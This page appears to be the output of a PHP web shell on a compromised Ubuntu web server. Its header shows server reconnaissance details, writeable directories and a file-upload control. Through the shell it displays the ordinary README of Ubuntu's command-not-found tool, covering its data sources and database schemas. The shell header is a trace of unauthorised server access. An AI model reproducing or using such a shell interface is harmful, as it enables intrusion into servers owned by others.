KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /usr/share/doc/command-not-found/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/command-not-found/README.md
# Command-not-found

This application implements the command-not-found spec at:
https://wiki.ubuntu.com/CommandNotFoundMagic

If you want automatic prompts to install the package, set
COMMAND_NOT_FOUND_INSTALL_PROMPT in your environment.

To use it in bash, please add the following line to your .bashrc file:
. /etc/bash_command_not_found

To use it in zsh, please add the following line to your .zshrc file:
. /etc/zsh_command_not_found
Note that it overrides the preexec and precmd functions, in case you have
defined your own.

## Data sources

Command-not-found will for the following data sources:
1. sqlite3 DB in /usr/share/command-not-found/commands.db, if that is
   *not* found it will fallback to (2)
2. legacy /usr/share/command-not-found/programs.d/*.db gdbm style database

The datasource (1) is generated from data found on the archive server
in deb822 format. The data is generated via
https://code.launchpad.net/~mvo/command-not-found-extractor/+git/command-not-found-extractor
and is downloaded via `apt update`.

The datasource (2) is generated via a static `command-not-found-data`
deb package. It is less rich and dynamic than (1) and should be
considered legacy and only be used if no better data source is
available.

### DB schemas

#### Legacy DB:

Simple key/value store with key `program_name` (e.g. bash) and value a
comma separated list of packages that provide the program name. The
filename indicates the component and architecuture via:
`$component-$arch.db`.

#### Sqlite3 DB:

The database looks like this:
```
           CREATE TABLE IF NOT EXISTS "commands" 
           (
            [command] TEXT PRIMARY KEY NOT NULL,
            [pkgID] INTEGER NOT NULL,
            FOREIGN KEY ([pkgID]) REFERENCES "pkgs" ([pkgID])
           );
           CREATE TABLE IF NOT EXISTS "packages"
           (
            [pkgID] INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
            [name] TEXT,
            [version] TEXT,
            [priority] INTEGER
           );
```

There is no need to store the component because we do not display that
in c-n-f. Note that the "name" in the "pkgs" table may include an
architecture qualifier. This is an optimization for multi-arch
systems, by default if there is "bash:amd64" and "bash:i386" on an
amd64 multi-arch systems we will not store "bash:i386" in the DB at
all and will store "bash:amd64" just as "bash". However for commands
that are only available for the foreign arch (e.g. "wine:i386") the
full qualified package name is stored in the DB and used in the c-n-f
output.


## Development

To run the tests type:

    $ python -m unittest discover


KUNTUL | JINGKONTOT |